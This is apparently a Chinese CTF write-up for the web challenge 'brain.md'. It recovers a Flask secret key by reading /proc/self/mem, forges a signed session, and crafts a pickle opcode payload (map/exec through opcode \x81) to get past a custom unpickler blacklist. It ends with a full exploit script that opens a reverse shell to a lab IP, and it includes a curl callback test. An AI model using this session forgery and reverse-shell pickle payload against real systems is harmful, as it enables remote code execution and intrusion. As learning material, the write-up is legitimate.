0x00 前言
每次蓝帽的web总能让人坐牢 事情太多(人也菜) 断断续续磨了很长一段时间的东西
0x01 brain.md
读一下源码
/download?file=/proc/self/cwd/app.py
显然我们需要通过伪造session 触发pickle反序列化来rce
import base64
import os
import uuid
from flask import Flask, request, session, render_template
from pickle import _loads
SECRET_KEY = str(uuid.uuid4())
app = Flask(__name__)
app.config.update(dict(
SECRET_KEY=SECRET_KEY,
))
@app.route('/', methods=['GET'])
def index():
return "/download?file=?"
@app.route('/download', methods=["GET", 'POST'])
def download():
print(SECRET_KEY)
filename = request.args.get('file', "static/image/1.jpg")
offset = request.args.get('offset', "0")
length = request.args.get('length', "0")
if offset == "0" and length == "0":
return open(filename, "rb").read()
else:
offset, length = int(offset), int(length)
f = open(filename, "rb")
f.seek(offset)
ret_data = f.read(length)
return ret_data
@app.route('/filelist', methods=["GET"])
def filelist():
return f"{str(os.listdir('./static/image/'))} /download?file=static/image/1.jpg"
@app.route('/admin_pickle_load', methods=["GET"])
def admin_pickle_load():
if session.get('data'):
data = _loads(base64.b64decode(session['data']))
return data
session["data"] = base64.b64encode(b"error")
return 'admin pickle'
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=8888)
/proc/self/maps读取maps上内存地址
>>> int(0x7f650b674000)
140071959740416
>>> int(0x7f650c274000)
140071972323328
>>> 140071972323328-140071959740416
12582912
>>>
问就是知道python对象存储在堆上(写脚本批量读取也可)
/download?file=/proc/self/mem&offset=140071959740416&length=12582912
导包正则过一下 uuid -> secret_key 6f41f81b-86da-4d13-a720-d06c404f764c
flask session机制
参考文章 [HCTF2018]两道题了解flask的session机制 引用自师傅文章 flask session加密流程
json.dumps 将对象转换为json字符串。作为数据 若数据压缩后长度更短。则用zlib进行压缩 将数据Base64编码 通过hmac算法计算数据签名。将签名附在数据后。用点分割
格式类似于这种 eyJ1c2VybmFtZSI6InRlc3QifQ.XC7SPg.sV9_ueBW2e4kCoY0sxh14dxsQiY 由三部分组成 eyJ1c2VybmFtZSI6InRlc3QifQ Base64加密的数据 XC7SPg 时间戳 sV9_ueBW2e4kCoY0sxh14dxsQiY 数据签名。重点在于这个。通过密钥进行签名。防止被篡改
之前没有看时间戳的习惯 看官方wp学习一下 贴一下官方wp手写的签名脚本 记得之前都是用git上脚本伪造 完全不知所以然
import hmac
import base64
def sign_flask(data, key, times):
digest_method = 'sha1'
def base64_decode(string):
string = string.encode('utf8')
string += b"=" * (-len(string) % 4)
try:
return base64.urlsafe_b64decode(string)
except (TypeError, ValueError):
raise print("Invalid base64-encoded data")
def base64_encode(s):
return base64.b64encode(s).replace(b'=', b'')
salt = b'cookie-session'
mac = hmac.new(key.encode("utf8"), digestmod=digest_method)
mac.update(salt)
key = mac.digest()
msg = base64_encode(data.encode("utf8")) + b'.' + base64_encode(times.to_bytes(8, 'big'))
data = hmac.new(key, msg=msg, digestmod=digest_method)
hs = data.digest()
return msg + b'.' + base64_encode(hs)
base64_data = base64.b64encode(b'test')
print(sign_flask('{"data":{" b":"' + base64_data.decode() + '"}}', 'b3876b37-f48e-49af-ab35-b12fe458a64b', 1893532360))
关于上述脚本中的salt digest_method等在源码中都有考证 感兴趣的师傅可以继续往下挖接口 我是懒狗 替换cookie session值后再访问admin_pickle_load直接返回500并且值不变 表示签名通过了校验,服务端取得了data值,进入_loads反序列化阶段报错 下面就是opcode了
python pickle
比较好的扫盲(复习)文章 从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势 pickle.dumps指定协议版本
可以看到0版本看起来比较友好 opcode详解
https://xz.aliyun.com/t/7012
将最友好的opcode拖出来看一下
b'cnt
system
p0
(Vwhoami
p
1tp2
Rp3
.'
题目环境作者自写了pickle _loads 禁用了i R o b load_reduce 通过字典建立opcode到函数之间的映射关系 先下个断点调试一下 这里先把waf注释掉方便理解 过到最后一步R开始单点 可以看到先从栈上pop出参数 args 然后指定栈最后一位为函数名 func 执行func(*args)将返回值放在栈上最后一位
>>> a=["system","whoami"]
>>> args=a.pop()
>>> func=a[-1]
>>> args
'whoami'
>>> func
'system'
再回去看官方wp 他利用的是opcode b’\x81’
和刚才的load_reduce同理 先从栈上pop出参数args 再从栈上pop出类名cls –>然后调用cls类的__new__方法 参数为args 此时我们只需要找到一个类的__new__方法 是我们可以利用的即可
cpython
https://github.com/animalize/cpython
关于map的浅入
官方采用了map方法 map方法之前确实没常用过 一开始还不信 居然要迭代操作才能触发mapobject中的func 参考这篇
https://blog.csdn.net/Flag_ing/article/details/109139315
map函数本身是惰性计算的,因此返回的结果并不是真实结果,而是一个需要被显示迭代的迭代器,可用隐式遍历的方法来强制遍历map作用的序列,从而得出输出结果。直白点说,可以吧map作用后的结果转换为list等类型进行输出。
文章里采用list做隐式遍历
localtest
发现确实只有加上list之后 nc才接受到了请求
>>> map(eval,["__import__('os').system('curl 1.15.67.48:7777')"])
<map object at 0x7fbe946a3490>
>>> list(map(eval,["__import__('os').system('curl 1.15.67.48:7777')"]))
curl: (52) Empty reply from server
[13312]
粗糙地翻一下源码
在map类中的 __iter__方法为 Implement iter(self). 在cpython里过一下
static PyObject *
slot_tp_iter(PyObject *self)
{
int unbound;
PyObject *func, *res;
_Py_IDENTIFIER(__iter__);
func = lookup_maybe_method(self, &PyId___iter__, &unbound);
if (func == Py_None) {
Py_DECREF(func);
PyErr_Format(PyExc_TypeError,
"'%.200s' object is not iterable",
Py_TYPE(self)->tp_name);
return NULL;
}
if (func != NULL) {
res = call_unbound_noarg(unbound, func, self);
Py_DECREF(func);
return res;
}
PyErr_Clear();
func = lookup_maybe_method(self, &PyId___getitem__, &unbound);
if (func == NULL) {
PyErr_Format(PyExc_TypeError,
"'%.200s' object is not iterable",
Py_TYPE(self)->tp_name);
return NULL;
}
Py_DECREF(func);
return PySeqIter_New(self);
}
因为没有研究过cpython 不敢随便解读源码 看网上的资料也比较少(maybe是我不会找) 翻到一个类似的 --> 可以说明 call_unbound_noarg这一步回完成函数执行
https://posts.careerengine.us/p/60a03be38264e819d87393d6?nav=post_&p=60a0381a954c620ac9855d21
这一篇可能稍详尽些
浅入动调_loads 看看opcode运作方式
官方wp用的opcode
b= b'''c__builtin__
map
p0
0(]S'print(1111)'
ap1
0](c__builtin__
exec
g1
ep2
0g0
g2
\x81p3
0c__builtin__
bytes
p4
g3
\x81
.'''
b"c__builtin__\nmap\np0\n0(]S'print(1111)'\nap1\n0](c__builtin__\nexec\ng1\nep2\n0g0\ng2\n\x81p3\n0c__builtin__\nbytes\np4\ng3\n\x81\n."
只挑了一些我会疑惑的拉了出来 读到p0 将栈顶元素放入 memo键0对应的值 读到0 丢弃栈顶第一个元素 class map ]是往stack上push一个空list S’print(1111)’ 往stack上push一个字符串 print(1111) 注意看self.stack a 简述一下这一步,刚刚self.stack上存在两个元素 0: [] 空列表 1: “print(1111)” 字符串 load_append先弹出栈顶元素 字符串 再把字符串append到现有的栈顶元素(空列表中) 实现列表中append单个对象 g1 获取memo字典 键1的值 “print(1111)” 并push到栈顶 e 将self.stack保存在items变量中 弹出self.metastack的一个对象(空列表)替换现有self.stack self.stack中extend一个序列(items 之前的self.stack)
def pop_mark(self):
items = self.stack
self.stack = self.metastack.pop()
self.append = self.stack.append
return items
\x81 此时stack栈上一个class map 一个序列 (,[‘print(1111)’]) 依次取出作为参数args和类cls
obj实例化出来 其他的都是依葫芦画瓢 不做冗余描述了 懒狗贴个exp以备不时之需
import requests
import hmac
import base64
def sign_flask(data, key, times):
digest_method = 'sha1'
def base64_decode(string):
string = string.encode('utf8')
string += b"=" * (-len(string) % 4)
try:
return base64.urlsafe_b64decode(string)
except (TypeError, ValueError):
raise print("Invalid base64-encoded data")
def base64_encode(s):
return base64.b64encode(s).replace(b'=', b'')
salt = b'cookie-session'
mac = hmac.new(key.encode("utf8"), digestmod=digest_method)
mac.update(salt)
key = mac.digest()
msg = base64_encode(data.encode("utf8")) + b'.' + base64_encode(times.to_bytes(8, 'big'))
data = hmac.new(key, msg=msg, digestmod=digest_method)
hs = data.digest()
return msg + b'.' + base64_encode(hs)
def Cmd(url):
code = b'''c__builtin__
map
p0
0(]S'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.244.133",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
ap1
0](c__builtin__
exec
g1
ep2
0g0
g2
\x81p3
0c__builtin__
bytes
p4
g3
\x81
.'''
tmp_payload = base64.b64encode(base64.b64encode(code)).decode()
payload = sign_flask('{"data":{" b":"' + tmp_payload + '"}}', 'b3876b37-f48e-49af-ab35-b12fe458a64b', 1893532360)
cookies = {"session": payload.decode()}
print(payload)
sess = requests.session()
print(sess.get(url + '/admin_pickle_load', cookies=cookies).text)
url = "http://192.168.244.133:7410/"
Cmd(url)
参考文章
https://xz.aliyun.com/t/7012
0x02 rethink
谢谢队里大哥的耐心讲解 磕一个先 协调好手里的事情 争取早日复现完
|